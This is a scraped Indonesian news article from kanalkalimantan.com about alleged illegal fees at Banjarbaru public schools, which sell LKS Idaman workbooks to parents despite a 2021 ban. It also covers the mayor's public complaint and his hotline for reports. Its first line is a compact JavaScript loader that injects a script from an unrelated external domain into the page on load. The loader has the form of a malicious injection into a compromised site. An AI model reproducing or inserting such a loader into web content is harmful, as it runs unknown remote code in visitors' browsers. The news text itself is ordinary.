(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah sekolah negeri di Kota Banjarbaru diduga masih melakukan praktik diduga pungli jual beli buku kepada orangtua siswa.
Praktik pungli tersebut wajib disetorkan dengan dalih pembelian buku pendamping lembar kerja siswa (LKS) Idaman.
Faktanya, Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Pendidikan (Disdik) sebenarnya telah melarang sekolah menjual buku LKS kepada murid, baik dijual sendiri ataupun kerja sama toko buku.
Bahkan larangan ini telah disampaikan melalui surat edaran kepada seluruh kepala sekolah SD dan SMP se Kota Banjarbaru, dengan nomor 421.3/0698/PSD/Disdik ditembuskan langsung ke Wali Kota Banjarbaru, per tanggal 19 Mei 2021.
Baca juga: Perempuan 55 Tahun di Banjarbaru Ditemukan Tak Bernyawa di Seutas Tali
Informasi kembali terjadinya praktik penjualan buku LKS Idaman baru-baru ini membuat Wali Kota Banjarbaru, Aditya Mufti Ariffin, cukup geram.
Bahkan, kekesalan orang nomor satu di kota Banjarbaru disampaikan secara blak-blakan melalui akun sosial media pribadi miliknya.
“Ulun (saya) malam ini masih menerima laporan ada sekolah negeri yang masih menjual dan memakai LKS Idaman. Sekali lagi ulun sampaikan bahwa LKS Idaman tidak wajib anak sekolah menggunakannya. Jaman sulit !!!,” demikian cuitan postingan Aditya di akun Facebook, Selasa (3/8/2021) malam.
Unggahan Wali Kota Banjarbaru soal jual beli LKS Idaman. FB adityamuftiariffin
Baca juga: Covid-19 Masih Tren Naik di Banjarbaru, 9 RS Diminta Siap Tangani Pasien
Tak hanya itu, Wali Kota Banjarbaru juga menyebarkan sebuah pesan ihwal permasalahan ini agar masyarakat lebih mengerti.
Isi pesan meminta wali murid agar melaporkan ke pihaknya jika menemukan atau mengetahui adanya praktik penjualan buku di sekolah-sekolah.
“Assalamualaikum. Malam ini ulun walikota Banjarbaru, masih menerima laporan sekolah masih menjual LKS idaman, dan sekali lagi ulun sampaikan bahwa LKS Idaman tidak wajib digunakan oleh sekolah di Banjarbaru, apalagi mengharuskan siswa/i untuk menebus buku tersebut.
Apabila masih ada sekolah atau kepala sekolah atau guru dan atau pihak sekolah yang mengharuskan membeli buku ini, harap laporkan ke kami melalui : Hotline wa : +62 812-5107-9997” demikian isi pesannya. (kanalkalimantan.com/al)
Reporter : al
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More
This website uses cookies.